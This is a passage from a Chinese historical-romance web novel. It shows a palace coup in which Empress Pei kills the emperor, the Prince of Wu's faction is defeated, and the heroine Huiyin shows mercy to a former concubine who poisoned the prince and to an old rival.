在他身边,是只有过一面之缘的上官素,面色红润,小腹微微隆起,看裴衍时满眼都是情丝和爱意。 裴衍对上官素极为关照,一路走来小心翼翼的护在她身边,看得出来人感情很好。 裴家人不请自来,徽音心中虽有些不喜,却也还是好生的将人迎进来招待。她落坐在裴夫人对面,目光虚浮在茶盏上,思附裴夫人今日前来所为何事。 裴夫人率先开口,满脸慈爱的望着徽音,“听说你回长安了,这几日有些病了,可无恙啊?” 徽音有些意外,裴夫人可从来没对她露出过这副神情,从前徽音讨好她时她的神情里也都带着倨傲之色。 她微微抬眼,回道:“劳夫人挂念,并无大碍。” 裴夫人也不在意徽音冷淡的态度,她挥挥手,身后跟着的奴仆将带来的礼物放在案几上,她笑道:“听闻你弟弟也回来了,还成家有了女儿,这是我给他们带的见面礼。” 徽音扫了一眼,都是些好东西,还有一些成色品质好的补药,她直言道:“夫人不必如此,有事还请直言。” 裴夫人闻言神情有些尬尴,转头向裴衍和上官素求助。 裴衍接收到母亲的求救信号,连忙起身朝徽音行礼,“徽音阿姊,我等未提前递帖子,贸然上门实属不该。听闻你这几日病了,心中担忧,特上门来拜访,还请你勿怪。” 上官素也着起身,扶着腰目光盈盈的望着徽音,一脸担忧。 徽音能对裴夫人和裴彧冷脸,却无法对上官素冷脸,何况上官素还怀有身孕。她神情柔和了些,微微点头示意自己知晓了,又让上官素和裴衍入座。 随后让人去把宋景川和诃诗、颢灵叫过来见见裴家人。 徽音看上官素一脸拘谨的样子,主动问道:“月份多大了?” 上官素看了裴衍一眼,有些害羞的低下头,“四个月了。” 裴夫人见徽音对上官素很感兴趣,连忙接话道:“她这是是第二胎,第一胎是个儿子,已经两岁了。” 上官素也抿嘴笑道:“他有些风寒,便没带他过来。” 徽音有些讶异,没想到这是上官素的第二胎,她又多问了几句和胎儿相关的,上官素还是一如既往的话不多,倒是裴夫人和裴衍对她孕期一事了若指掌。 闲话间,宋景川抱着颢灵,牵着诃诗来到了前堂,他对裴夫人印象不好,徽音虽没跟他说裴夫人的坏话,但来长安的这些天里,他明里暗里打听了不少当年的事迹。 自然也就清楚裴夫人当年对徽音的态度,遂他也摆了一副冷脸,只冷淡的行了礼,抱着颢灵坐下一言不发,诃诗见气氛有些沉默,也默默做在徽音身边不言语。 裴夫人打破沉默,她拿起案桌上带来的酥糖给颢灵,笑道:“这就是景川的女儿吧,长得和姑姑一样俊,来祖母这,吃糖。” 颢灵眨眨眼,扭头望着徽音。徽音朝她微微点头,她才从宋景川的怀里钻出来,朝裴夫人走,接过裴夫人手中的酥糖,礼貌的道谢:“谢谢祖母。” “哎哟,真乖。”若说方才裴夫人还带有些假意,此刻确是真的喜欢这个小丫头,跟精雕玉琢出来似的。她这一辈子都想要个娇娇软软的小女儿,奈何没这个命。 裴夫人摘下手腕上上碧绿手镯塞给颢灵,没忍住上手捏了捏颢灵的脸,哄道:”拿着,祖母给你玩的。“ 颢灵低头瞅瞅左手的酥糖,又看看右手的玉镯子,懵懂的回头去看徽音。 徽音上前拿过颢灵手中的玉镯放在裴夫人面前,抱着颢灵回座位,帮她撕开酥糖,一边回道:“玉镯太过贵重,颢灵还是个孩子,夫人不必如此客气。” 裴夫人好脾气的笑笑:“我喜欢这孩子,不过一个手镯罢了。” 徽音专心喂颢灵吃糖,并不接话。 上官素看婆婆面色有些不好看,连忙伸手扯扯裴衍的衣袖,示意他出声解围。 裴衍面对这场景也有些手足无措,裴彧离开长安前千叮咛万嘱咐不要去叨扰徽音。奈何阿母一意孤行非要过来看看,现下这尬尴的场景他也不知道如何是好。 裴衍只能将目光转向不吭声的宋景川,问他这三年在大宛如何。宋景川虽不喜裴家人,该有的礼仪却没有缺,两人你来我往的,裴夫人和上官素时不时也出声说两句,倒有些融洽的气氛。 东拉西扯半天后,宋景川和裴衍也无话了,徽音抬头看了看天色,出声留饭。 裴衍连连摆手,“阿姊不必麻烦了,我们就是来看看你,见你无事就放心了,我们这就离去。” 裴衍说着去扶裴夫人起身,裴夫人却推开了她,一脸殷切的看着徽音,“徽音啊,能否单独和我说会话?” “阿母?”裴衍拉着裴夫人的衣袖,脑门有些冒汗,他阿母不会又要说一些奇怪的话吧。阿兄好不容易和徽音的关系有了些气色,可不能再让阿母给破坏了。 徽音看了看互相瞪眼的母子俩,想起裴彧离去那晚不舍的神情,无奈叹了口气,同意了裴夫人的请求。她也想知道裴夫人做出今日这出,目的为何? 等其他都离开后,徽音看向裴夫人,“人都已经走了,有事夫人就直说吧。” 裴夫人幽幽叹了口气,“我今日来是来跟你道歉的。” 徽音倒茶的手一抖,茶水不小心溢出在案桌上,她确是没有想到,裴夫人是来跟她道歉的,她以为裴夫人找她是要说让她别在和裴彧纠缠了。 裴夫人见徽音没什么反应苦笑道:“我知道现在说这些太晚了,三年前确实是我一叶障目是非不分。可这都是我的错,和彧儿没有关系。” “他喜欢你,甚至为了你不惜自己的性命。那天他浑身是血的被人从宫里抬回来,昏迷了几日才醒,一醒就闹着要去找你。一头冲进雨里,拉都拉不住,伤口再度裂开发炎,他逼着医官给他用猛药,迫不及待地去追里,那时我就知道,是我错的离谱,他认定了你,我早该知道的。” 裴夫人低头抹泪,有些哽咽:“他后来上了战场,只给我留了一句话,说要把你找回来,就是死,也要死在你身边,死得离你近一点。” “徽音,都是我的错,你要怪要怨就怨我老婆子吧,三年来我提心吊胆,吃斋念佛求佛祖保佑他平安回来,我在佛先发过毒誓,只要他能平平安安回来,往后如何我绝不再插手了。” 徽音看着裴夫人满脸泪痕,递了块干净的帕子过去,裴夫人说,裴彧为了她连都可以不要,这一点徽音比任何都要清楚。 徽音开口说了第一句话:“我和裴彧当年分开是我们自己的原因,与你的关系不大。” 裴夫人接过帕子,一脸希冀的追问,“那现在呢,你们现在如何?” 徽音:“我们现在很好。” 裴夫人松了口气,双肩下榻的坐回去,面容憔悴,“我人老了,身体也不行,往后也不会长留在长安,以后裴家就得靠你们了。” 徽音抬眼打量着裴夫人,她真的苍老了许多,身形消瘦。联想到她方才说的这三年提心吊胆,徽音心重对她的那些怨怼也慢慢消散。 裴夫人是真心疼爱她的孩子们,只是用错了方式。如今她愿意改,徽音也不会揪着往事不放,但她也不会像儿媳对婆婆一样孝敬,她们就这样不远不近的相处着,才是最好的状态。 第81章【VIP】 第81章 宫变之日 二月底, 已是春暖花开的日子,御花园中最早培育的牡丹已经盛开,一片青绿中姹紫嫣红, 争相开放。 裴皇后今日没有着正装,她只穿了见年轻时的浅紫曲裾, 妆容淡雅,眉目见依稀可见当年的风华。 她只带了姚兰一人,等在宣帝御架必经之路上。说来也是好笑,她一介皇后, 要见陛下居然等学妃子的争宠手段,在这宫道上拦人。 这三年来, 她和宣帝越行越远, 曾经还能相敬如宾,到现在已经是想看两厌了。 色衰而爱驰, 老话果然无错。 等了许久,姚兰目光一动,倾身靠近裴皇后,“皇后,陛下来了。” 裴皇后点点头, 站在原地等着御架走近。 宣帝身边的内侍远远的就瞧见了皇后, 心中惊疑不定, 连忙朝御撵递话, “陛下, 皇后等在前方。” 宣帝原本在御撵中闭目养神, 闻言皱眉,“皇后怎会在此处?” “是真的,您瞧。”内饰手脚麻利的撩起朱红的纱帐, 示意宣帝看过去。 宣帝眯着眼瞧清了那边等着的两人面容,确实皇后和姚兰无疑,他坐直身子让人加快速度走过去。 御撵稳稳的停在裴皇后身前,宣帝坐在御撵正中,居高临下的望着裴皇后问,“皇后怎在此处?” 裴皇后唇边带笑,上前微微复身行礼,“回陛下,今日风光甚好,妾身出来赏花。” 宣帝颚首,沉吟道:“皇后好兴致,朕就不打扰你,先走了。” “陛下稍待。”裴皇后出声拦下他,眉眼下垂显得有些哀怨,“今日难得碰见陛下,陛下可愿陪妾走走?” 宣帝神情一顿,他今日已经答应了要去陪郑妃用饭。 裴皇后自然知道宣帝是要去找郑妃,近三个月来,连宫中新进的美人都没能留下宣帝。他日日都要去郑妃宫中陪郑妃用饭。 裴皇后继续道:“妾身已经许久未见陛下,请陛下赏脸。” 宣帝面色迟疑,发觉今日皇后有些许不对劲。裴皇后要强,轻易不会示弱,更何况是作出如此哀婉的神情。他再仔细一瞧,发觉裴皇后今日穿着甚是陌生,同她以往的衣着打扮都大为不一样。 宣帝心中暗叹,近些时日确实是他冷落了皇后,到底是自己的结发妻子,是该陪陪她的。 宣帝抬手示意内侍放下御撵,他起身走到皇后身边,牵住她的手往御花园深处走,嘴上安慰道:“是朕不是,朕今日好好陪陪你。” 宣帝身后一个小内侍见到这副场景,眼珠一转,趁众人不注意想要跑出去给郑妃去报信,还没走出去多远,就被埋伏在外围的皇后宫人给围住拿下,没有发出一丝动静。 帝后在前面并肩走着叙话,身后跟着一大批垂首敛目的宫人。裴皇后给了姚兰一个眼神,侧脸去看身边的宣帝,笑道:“陛下可还记得今日是什么日子?” 宣帝抚须猜测了几个,裴后都摇头说不对。 宣帝佯装微怒道:“皇后别卖关子了,今日到底是什么日子?” 裴后熄了笑意,神情瞧起来有些冷漠,“今日是妾嫁给陛下的整二十五年。” 宣帝一楞,又听裴后道:“陛下可还记得当年妾嫁你时的承诺?” 宣帝满眼复杂的望着裴后,挥手让身后跟着的龚宫人全部的下去,片刻后,偌大的园中只剩帝后两人。 宣帝望着裴后冷漠的面容,心中有些不是滋味,“你这是何必呢?当年的事都多久了,你现在拿出来说是什么意思?” 裴后嘲讽的笑笑:“陛下的意思是,当年对我的承诺不算数了?”熟悉她的人都知道,她已经开始动怒了。 当年宣帝虽是太子,形势与如今的太子也没有什么区别,甚至是更加被打压。他能登上帝位,很大一部分愿意都是因为裴家的鼎力支持。 裴后清楚的记得当年宣帝迎娶她时,曾当着她的面指天发誓,将来不管如何,他和裴后所出的孩子才是正统。 这些年来,那些狗屁甜言蜜语山盟海誓裴后从来就没有当过真,天子和皇后,注定就没有夫妻情分可言。所以她任由宣帝广纳后宫,任由他宠信郑妃,抬举郑家,她从不曾多说一句。 她要的,是那最后的位置,是宣帝曾经承诺给她,承诺给裴家的。 裴后不动声色的握紧袖口,神情严峻,“我再问你一遍,当年你说正统之位会给我的孩子,这诺言你还会不会践行?” 宣帝面色难看至极,他斥道:“你是疯了吗!太子不堪大用,你让朕把江山交给他?” 裴后冷笑两声,她就知道,宣帝早就想废太子另立吴王了。 她质问道:“那吴王呢,难到他就有明君之风吗?” 宣帝被噎住,任他觉得自己是兴盛之君,却也不得不承认,他的几个孩子除了睢阳长得最好外,其他几个都上不得台面。 裴后看出他无话可说,继续逼问道:“太子性弱,是无主见,容易叫人牵着鼻子走,只一殿点,他不刚愎自用,仁善好施,只要他身边没有奸臣,他就会是一个很好的守成之君。而吴王呢,我不信你不知道,一旦吴王上位,外戚专权霍乱朝纲。而他自己,并不是一个能够压制得住外戚的君王的,他刚愎自用,还喜滥杀,这样的一个人,真就比太子好吗?” “够了,你看看你现在的样子,还有没有一点皇后的样子!” 宣帝被戳到痛处,不觉得吴王有什么不对,只觉得裴后这种步步紧逼,句句贬低的话令人气愤。他已经很多年没被人这样冒犯过了。 他狠狠瞪了裴后一眼,警告道:“朕已经决定改立吴王为太子,你若安分些,我便替太子选一处好的封地,来日让他带着你去封地就藩。若你赶做些什么,朕就先拿太子和裴家开刀!” 宣帝说完,转身拂袖离开。 裴后在他身后喊道:“陛下可想过裴家?” 宣帝脚步顿珠,侧身看向裴后,眼底漠然一片,“裴氏一族声明太盛,朕屡次想收回裴家军都不得其法,皇后,你是聪明人,须知道声明太盛,不是好事的道理。” 裴后此时才真真正正的看清眼前人,一个冷漠无情,猜忌的帝王。过去他对裴彧的恩赐,对裴家的善待,竟然全是捧杀。 她裴家子嗣不息,这一辈子只有裴彧裴衍两个儿郎,其他族人都被宣帝隔开,不许他们进入中枢。裴衍至今没有一官半职,若不是裴彧撑着,裴家早就被吞噬殆尽了。 说什么收不回裴家军,裴彧在边关那五年都是从小卒做起,好不容易崭露头角立了点功勋就被召回京城。 六年多的时间里,是他宣帝识人不清,派去的都是庸人,收服不了裴家军。对匈奴之站中,裴彧本不是主将,是其他人节节败退导致兵败伤重,不得已才让一只独秀的裴彧掌权做主将。 事实上,裴彧就是军事奇才,他迅速的收拢残兵,转换策略,只用了两年的时间就打赢了这场战争,同时也真正收服了裴家军,在军中建立起和他父亲一样的威望。 如今边关一平,宣帝就要绞杀功臣,这怎么能让裴后不恨。 “陛下!” “又怎么……”宣帝话音戛然而止,他双手紧紧捂住喉咙,争先恐后的鲜血从他手缝往外涌,眼底满是不可置信。 “你……敢……弑君……” 裴后手中紧紧握着短匕,看着宣帝惊恐的神色只觉得快意至极,“你要走狗死狡兔烹,我为何不能弑君!” “难道,要我眼睁睁看你诛我裴氏满门,看你把我和我儿子踢出长安吗!” “你不会得逞的!”宣帝身子不稳的倒在地上,死死的盯着裴后,说出最后一句话。 裴后蹲在宣帝身前,闻言笑笑,握紧匕首狠狠扎进自己的肩膀,很快她肩上就绽开了一个血洞,氲湿了她大半边身子,浅紫色的衣裙上满是血色。 裴后倒在宣帝身边,笑着看他眼底的光一点一点消失,看着他慢慢咽气。 她笑着哭出来,不是为宣帝的死,而是为自己过去二十五年的忍气吞声,二十五年的岁月默哀。 —— 建元九年二月,宣帝在宫中遇刺身亡,连一句话都没有留下,满长安都因这个突如其来的变故沸腾起来。 陛下遇刺,长安禁严,文武百官进宫吊唁。先帝殡天,太子顺理成章继位。郑家和吴王也进了宫,内宫被围成铁桶,没有一丝消息传出。 今日一早吴王进宫前先去拜访了几位驻京守将。如今宫中情势肯定是吵翻了天。 徽音所料不差,宣帝在宫中遇刺身亡一事疑点重重,郑氏一党直言昨日遇刺时只有裴皇后在身边,怀疑是裴皇后谋害陛下。 裴氏党羽则说,陛下刚刚殡天,吴王和郑家便带兵进宫,诬陷皇后,狼子野心,意图篡位。 两党吵得不可开交,威严的长信宫俨然变成了街道菜市口。中立之臣如丞相和中疏离令等人面色一个赛一个的难看。 陛下遇刺身亡一事确实蹊跷,裴皇后嫌疑确实很大。但现在没有证据能够是证明是裴皇后谋害的宣帝,如今宣帝已死,当务之急是稳固朝纲避免天下大乱,应当推举太子继位。 可瞧吴王一党代兵进宫气焰嚣张的模样,今日太子若是等登基,他们便要发动宫变了。 平阳侯眯着眼打量了一圈,将对立和保持中立的官员一一记下。宣帝意外暴毙确实打了他一个措手不及,不过也不算坏事,他早就不满被裴家压一头,等吴王上位后,这天下就是他们郑家的天下。 他扫了一圈没有发现裴彧的身影,心中狐疑,出了这么大的事,裴彧居然未曾露面,实在是蹊跷。 他对身侧的谢清和低语两句,谢清和抬眼望去,不知想到些什么,眸光未变。对着平阳侯道:“裴彧不在必定有异,侯爷,不能再拖下去了。” 平阳侯面露狠厉,对着吴王耳语几句,吴王犹豫片刻,抬手下令,挥手让兵甲入大殿,对着裴皇后和太子还有众臣道:“裴氏一党谋害帝王,证据确凿,给本王拿下。” 丞相面色大变,拦在裴皇后和太子身前,怒道:“吴王殿下,事情尚未查清,你怎能动兵,难不成真要犯上谋逆!” “老匹夫,还不赶紧滚开!”吴王狞笑一声快速抽刀,剑尖直指丞相。 旁边的大臣见状连拉带拽的将丞相给拉了下去。 吴王轻蔑一笑,提刀走上正坐之上的裴后和太子,太子握刀挡在裴后身前,神情带着害怕,却没有半分退缩。 吴王得意的笑笑,他等这一天等了很久了,“皇兄,你现在跪地求饶,弟弟我可以留你全尸。” 太子握紧手中的刀剑,没有说话,也没有任何后退的动作。 吴王冷笑一声,“骨头还挺硬。”他举起长刀,用尽力气劈下去。 “儿啊,救我!”这紧要关头,裴后的身后的帷幔传出一声惨叫。吴王听着那熟悉的声音,停住了手中的动作。 裴后招招手,帷幔之后有两个宫人压着披头散发的郑妃走了出来,郑妃一改之前的娇艳华贵,浑身模样狼狈不堪,眼底带着青黑,深思恍惚,彷佛被折磨的不轻。 “母妃!” “妹妹!” 吴王和平阳侯同时上前,惊叫出声。 难怪裴后带着太子有恃无恐,原来是早就拿住了郑妃。吴王恨恨的瞧了眼裴皇后,却不得不在裴后的威胁下后退。 郑妃头发被身后宫人抓在手中,头皮的刺痛令她不住的抬头,流泪泣道:“救我,皇儿救我!” 吴王神色难看,“放了我母妃,我可以让你们安然离开。” 后方的谢清和指尖微动没说话,皇后和太子要是活下来,吴王这位子可坐不稳当了。他看了眼平阳侯,发觉他同吴王一样,求着裴后不要伤害郑妃。 谢清和心中的轻视不免又加深了几分,妇人之仁,都到了你死我活的境界了,居然因为一个郑妃退却。真是蠢得可以,不过,吴王和平阳侯越蠢,对他越有利。 眼看着吴王和平阳侯要因为郑妃退让,谢清和朝殿中不起眼的地方使了个眼色。下一刻,一只羽箭从不起眼的角落射出,径直的射向毫无任何阻挡的郑妃,冰冷尖利的铁头深深射进郑妃的胸口。 郑妃不可置信的看下吴王,死不瞑目的倒下,胸口的鲜血留了一地。 “母妃!”吴王悲痛大叫,冲上前抱住郑妃尚在抽搐的身体,泪珠滴在郑妃的脸上。 平阳侯猛的朝羽箭射出来的方向看去,只见那里站着一排茫然的士兵,完全不知道发生了何时,他怒道:“是谁!是谁放的冷箭!” 裴皇后在变故刚起的时候就心中大骇,拉着太子朝后退去,她没想到殿中居然还隐藏了杀手,并且毫不留情杀了郑妃,这是她万万没有预料到的。郑妃死了,她们母子的护身符就没了。 殿中眼看着要大乱起来,谢清和即使的扶着悲痛欲绝的吴王,“殿下,郑妃已逝,当务之急是拿下皇后和太子。” 吴王抬眼,眼中布满血丝,哑着嗓子道:“动手!谁敢阻拦,就地斩杀!” 只可惜,他这命令刚下,长信宫的殿门就被大力撞开,赤甲士兵如潮水涌进,眨眼间就将殿中之人团团为主。 谢清和见大势已去,当即立断拉起不明所以的吴王朝后退,仅剩的残兵围在吴王和谢清和身边,想要护着他冲出重围。 谢清和眼尖的在殿外看见裴彧的身影,他转身去寻殿中的皇后和太子,想要效仿裴后那住人质,威胁裴彧不敢轻举妄动。 他伸手去抓太子,却被太子反手割了一刀,捂着鲜血淋漓的手臂连忙退到吴王身后。 时机稍纵即逝,现下已是一盘死棋,唯有保住吴王冲出重围或可一搏。平阳侯也明白这个道理,率先在前面开路,护着吴王往外杀去。 —— 徽音接到裴彧送来的消息时已经是深夜,他在信中说明,宫中已定,吴王和谢清和被残兵护着冲了出去,平阳侯死在了混乱之中,郑家全家已被捉拿下狱。 徽音放下心,打发走一直守在她身边的宋景川,上床歇息。她睡到一半突然心慌惊醒,睁眼便看见一个黑影坐在床前注视着她,鼻尖还萦绕着血腥气。 她惊叫出身,抬手抽出枕头下藏着的匕首,朝黑影狠狠刺去。 “这么狠?谋杀亲夫?” 熟悉的欠揍语气在耳边想起,徽音气得牙痒痒,扔了匕首,抬手打过去,“你做什么大半夜吓我!” 裴彧张开手任由徽音拍打,黑压压的一片他看不清徽音的脸,却能感觉到她关心的眼神。他紧绷一天的心终于安宁下来,落到了归处。 裴彧知晓自己身上脏乱,怕弄脏徽音的床榻,只坐在脚踏上疲惫的合上眼,他已经连续两天没有歇息了。 徽音从床榻上爬起来点灯,回头就看见裴彧盔甲上全身血渍,难怪她闻道了一股浓重的血腥气。她端着灯盏走过去,跪坐在裴彧身边打量他。 裴彧动了动鼻尖,睁眼安慰:“我没受伤,都是别人的血。” 徽音拧着块湿帕子擦着他脏乱疲惫的脸,叹了口气:“你怎么不歇歇再来。” 裴彧:“想见你,一刻都等不得。” 徽音抬手遮住他明亮的眸子,仔细的擦干裴彧脸上的血痕,慢慢靠过去,一点一点的吻上他的干燥的唇瓣。 裴彧被遮住眼看不清徽音的表情,只能感觉到她细密的轻吻,他喉结上下涌动,控制不住的抬腿去勾徽音的腰身。 徽音听着身下的令人脸红的闷哼和喘息声,抬手掀开了捂住裴彧的手掌,望进他勾人心魄的眼睛里。 她捧住裴彧的脸,轻声问:“害怕吗?” 裴彧明白徽音的意思,她问他今日宫变之时害不害怕。自然是有怕的,他轻吻徽音的眼皮,眼睛不眨的看着她道:“怕的,怕没命回来见你。” 徽音垂下头,眼眶湿润,她也害怕。 裴彧揽住徽音换了个姿势,让她完完全全的坐在自己的腰腹上,大掌握住她的瘦弱的双肩,不住的摩挲。 “可惜,还是让吴王跑了。” 郑家在长安经营了那么多年,攒下的家底不少,吴王若是带着这些东西逃出了长安,自立为王,反过来攻打朝廷,那就不妙了。 南朝刚刚经历大战,正是需要修生养息的时候,这个时候若是打起内战,周边小国难免蠢蠢欲动。 裴彧不自觉的蹙起眉心,摩挲徽音肩膀的手指也慢慢停下。他已经派了大批人马搜查吴王,一夜过去了,什么消息都没有传回。 徽音:“若吴王离开长安,便是鱼入大海,再难寻觅。” 裴彧认同的点点头,他非是惧怕吴王起兵,他比任何人都清楚,这三年的战事几乎将南朝的国库给掏空了。税收加重,百姓连过活都艰难,再来一个起事的吴王,王朝不堪其压,必定四分五散。 徽音又问:“吴王府搜过了吗?” 裴彧:“搜过了,吴王只带走了一个姬妾,其他人都留下了。” “姬妾?可是叫月漪?” 裴彧点点头,“正是她,当年曾救过你。” 徽音眼神闪了闪,没料到裴彧还记得当年的事情。她有些迟疑该不该将月漪和吴王有杀兄之仇的事情说出来。她很喜欢月漪,也很感激她出手相助。 但吴王连逃命都要带上她,可见对月漪非常看重,三年过去,月漪对吴王又是什么态度,她不得而知。 徽音最终还是没有开口,她伸手抚平裴彧眉间的褶痕,“先好好睡一觉,明日再说。” 天才刚刚泛白,徽音落脚的这处院落就被人敲响,宋景川一脸困顿的去开门,发现来人正是回了长安就多日未曾露面的方木。 宋景川满脸怨气:“大清早你干什么?” 方木撩开宋景川急吼吼的往里冲,嘴上敷衍道:“我有急事找少将军,天大的急事。” 宋景川满脑门不解的拦住方木,撩开袖子就要理论,“你找裴彧来我家作甚!” 方木翻了个白眼,“你说呢?” 宋景川气急,上前就要和方木扭打在一起,徽音及时出现制止了掐架的两人,“闹什么?” 宋景川整理了下衣服,站到徽音身边告状,“阿姊,方木败坏你名声,我饶不了他!” 方木收起嬉皮笑脸,一脸正色的朝徽音行礼,恭敬道:“女郎,有吴王的消息了。” 宋景川脸色变了变,他自然知道吴王是谁。 徽音蹙眉:“他在哪?” 方木:“他死了,今日一早便有一名女子到京兆尹自首,说她杀了吴王。我等顺着那女子提供的线索追查过去,发现吴王和叛逃的谢清和都已毒发身亡。” 徽音不知该如何表述心中的感受,她现在很想见见月漪。 她走到方木身边,让方木带她去京兆尹。 方木朝内院看了一眼,迟疑问道:“要不要跟少将军说一声。” 徽音摇摇头,“让他好生歇息一下吧。” 吴王已经死了,剩下的那些不足为惧,等裴彧醒来再收拾也可。 第82章【大结局】 第82章 大结局 来路之路光明灿烂…… 方木遂也不再多说什么, 叫人套了马车护送徽音往京兆尹走。一路上,他将事情的始末原原本本的告知徽音。 吴王进宫前担心自己会失败,给自己留了一条后路。他在城西有一座旁人名义下的幽静院落, 院中有地道可以直通城外一处村庄。 进宫前,他让心腹先将爱妾月漪送到了城外等候, 宫变失败后,残兵护着他和谢清和冲出重围,从城西的地道一路出城。 吴王本打算在城外落脚一晚,然后隐姓埋名离开长安, 回到郑家的祖地,用郑家这些年攒下的本起事。 当夜一行人在村中住下, 月漪给大家伙做了一顿饭, 都是从宫里一路杀出来的残兵,浑身带伤是血的, 正是困顿时刻,没有一个人察觉到饭菜里的不对劲。一顿酒菜下肚后,不过半刻钟就开始逐渐毒发。 事后,月漪去了京兆尹自首。 方木问出了心中的疑惑:“女郎,你说她杀了人明明可以远走高飞的, 为何还要去自首啊?” “许是, 她想解脱了。” 徽音想, 她应该是能明白月漪的心情, 就想她所担心的那样, 日久相处中, 吴王对她是有真心,连逃亡都要带上她,将自己的后路完全交给月漪, 这样的在意。月漪应该也是动了心,只不过在杀兄之仇前,这点心动完全不能动摇她心中的杀意。 不可控制的爱上了自己的仇人,这种矛盾的感情在她心里日益拉扯着她。现在又亲手杀了自己所爱之人,她应该也活不下去了,自首是为了求一个解脱吧。 在见月漪之前,徽音以为她会看见一个绝网,毫无生机的女人。可她发现自己想岔了,月漪比她想象的还要坚强,她虽然身在狱中,人却精神奕奕,眼神明亮,唇边带着浅浅的笑意,一如徽音初见她那般。 月漪率先对徽音开口:”早先就听闻你回长安的消息,一直没有机会去见你,如今看到你安好我也放心了。“ 徽音让人打开牢门走了进去,两人如同多年的好友般坐下叙旧,不约而同的没有提起关于吴王一事。 徽音握紧月漪的手,抬眼望着她,“我可以送你走,送你去一个安静的地方好好生活。” “事到如今,你也不用劝我了,”月漪抬手阻止徽音再劝下去,眼眶渐渐湿润,说起往事,“我自出生就没有见过父母,是我阿兄一袋一袋扛着沙包把我养大的。他自己什么都舍不得用,却将钱都攒着给我买胭脂水粉。” “日子虽然穷困,但有阿兄在身边我一点也不觉得苦。年纪大了些时,有不少人都觊觎我,要纳我回去做妾。是阿兄严词拒绝,夜晚都宿在我房门口守着我。他总说,要把我嫁到一个好人家去,让我做正妻。” “后来,他浑身是血的死在我眼前,我怎么叫他都不理我。阿兄死后,我被卖进了花楼,浑浑噩噩的过着。直有一天,我看见了来寻欢作乐的吴王,那一刻,我就知道我的机会来了。” 徽音面露不忍,轻轻擦拭月漪的眼泪,可月漪的泪水那样的多,她根本擦不净。徽音看着月漪,就像是看见了当初的自己,喉间发涩,忍不住抱住月漪,无声安慰。 月漪哭着哭着,又笑了起来,眼泪顺着她弯起的嘴角往下落,无比清晰的道:“吴王,我恨他!从一开始到他身边,我就是奔着杀他去的。” “过去几年里,我随时都有动手的机会。可我觉得,那样死了就太便宜他了,我知晓他一切的野心,想着,等有一天他梦想成真的时候,我再杀了他,让他死不瞑目,痛不欲生。” 徽音只觉得心上像是压了一块重石,她看着月漪越来越疯狂的脸,连忙唤醒她,“别想了月漪,吴王已经死了,你已经报仇了,别再让仇恨折磨你了。” 月漪痛苦的摇摇头,“没有没有。” 她在徽音怀里捂紧胸口痛苦道:“他毒发前是可以杀我的……” 徽音楞住了,努力去思考月漪说的这句话,她说的应该是吴王毒发前还有力气可以杀她,最后却没有动手吗? 她抱紧月漪,两人都没有讲话,过了好一会月漪才平静下来,小声的伏在徽音肩上抽泣,低声呢喃:“我是恨他的,对吧?” “是。”徽音轻声回道。 月漪闭上眼睛,无声流泪,她知道自己是在自欺欺人,她也很唾弃自己,恨自己管不住心。她对不起阿兄,她不配活着。 徽音垂眼看着月漪颤抖的睫毛,轻抚她的发尾。徽音想救月漪,就像她拯救自己一样,她和月漪的经历很像,只不过,她比月漪要幸运一点,裴彧不是她的仇人。 她抬眼望向窗户,一束光从木窗透进牢房,就像黑暗里仅存的那点希望。 “你知道吗,我曾经也和你现在一样,迷茫,痛苦,不知所措。” 月漪缓缓抬眼,出神的望着徽音的侧脸。 徽音:“我也想过死,可又转念一想,连我都不在了,那谁还能记得我的父母。只要我活着,他们就会一直活在我的回忆里,逢年过节时候还能为他们上柱香。” “我想,你阿兄也应该希望和从前他还在的时候一样,开心的活着。月漪,人生很短,还有很多值得去探寻的风景。我在大宛的三年里,走过许多的地方,见识了许多的风俗人情,大漠孤烟,长河落日,这些美好的风景都是值得我们去追寻的东西。 “政权稳定下来后,南朝就会和周边小国建立友好往来,互通商贸,你不想留在长安,可以出去走走看,去看看那从未见识过的风景。” 月漪捂着脸哭泣,“我真的可以吗?” 徽音:“当然可以,我有一支认识的商队,他们可以带你离开。” 徽音看出月漪内心的松动,继续道:“我还有好多地方没有去过,最近两年应该是没有机会去了,要是你能去的话,记得给我写信。” 月漪再没有什么拒绝的话说出口,她沉沉的抵住徽音的肩,身体颤抖。 徽音抬手抱住她,拍拍她的背脊,“从今天起,在没有月漪这个人了,你给自己取个新名字吧?” 月漪颤声道:“我小名阿月,以后我就叫宋月。” “好,宋月。” —— 徽音回府时裴彧已经进宫了,吴王是死了,他身后还有一大摊子事要收拾,还有先帝葬礼和太子登基一事,约莫近一个月他都没有了空闲的时间。 关于月漪的事情他已经给京兆尹递了话,全劝交给徽音处置。徽音将月漪从牢中接了出来好生安顿,让她先好好休整一个月。 她和景川回来后就待在了长安,现下长安大局已定,她也没什么不放心的,便让景川和诃诗收拾东西,准备启程回荆州。 顾及裴彧太忙,徽音只叫方木给他递了个口信,便出了长安直奔荆州。三年了,她终于找到了景川,也能给父母一个交代。 至于以后宋景川和诃诗想在哪里生活,徽音不会插手,她会让宋景川袭爵,至于做不做官一事,全凭他自己的意愿。 不过,依照宋景川和诃诗的性子,两人都喜欢自由,跟着商队走南闯北,许是在荆州和长安也待不住。 离开荆州前,徽音再次遇见了苏静好,那是在大街上,她带着诃诗和颢灵出门逛街采买路上要用的东西,正好碰见官员查抄谢府。谢清和伏诛后,谢府被查抄,府内女眷全部被押入大牢。 徐令仪和其幼子按理来说也逃脱不过,但徐侯在长信殿那日坚决的维护皇后和太子,也愿意交出爵位和所以家产,只求能保住女子和外孙。 裴皇后,不,太子已经登基,她现在是太后。裴太后念及徐侯一片爱女之心,又是先帝时的功臣,加之幼子年纪尚小不记事,允了此事。她只收回了徐侯的爵位,并未抄没其家产。 谢府其他女眷就没有这样的好命,彼时徽音坐在茶肆的二楼内,看着楼下街道上人人喊打的苏静好。 谢清和所犯之罪未谋逆,按律要夷三族,苏静好是他过了明路的妾氏,自然也逃不过要死的命运。 徽音看着她在楼下被官兵抽打,浑身是伤,脚步蹒跚,她心中没有一丝看到仇人的落魄的快意。她在茶楼坐了很久,也想了很多。 最后,徽音还是去了一趟京兆尹,让人改了苏静好的刑罚,免除了她的罪责。她没有露面,只派人给苏静好送了些银钱,再让人苏静好回乡,回她母亲的家乡。 派去的人回来给她传话,说苏静好离开之前让他帮忙带了一句话,她说:对不起。 徽音终于等到了这句迟来的道歉,物是人非,所有的一切都不再是当年的模样。她救苏静好,并非是原谅。 她只是觉得,死亡并不是赎罪的终点。 —— 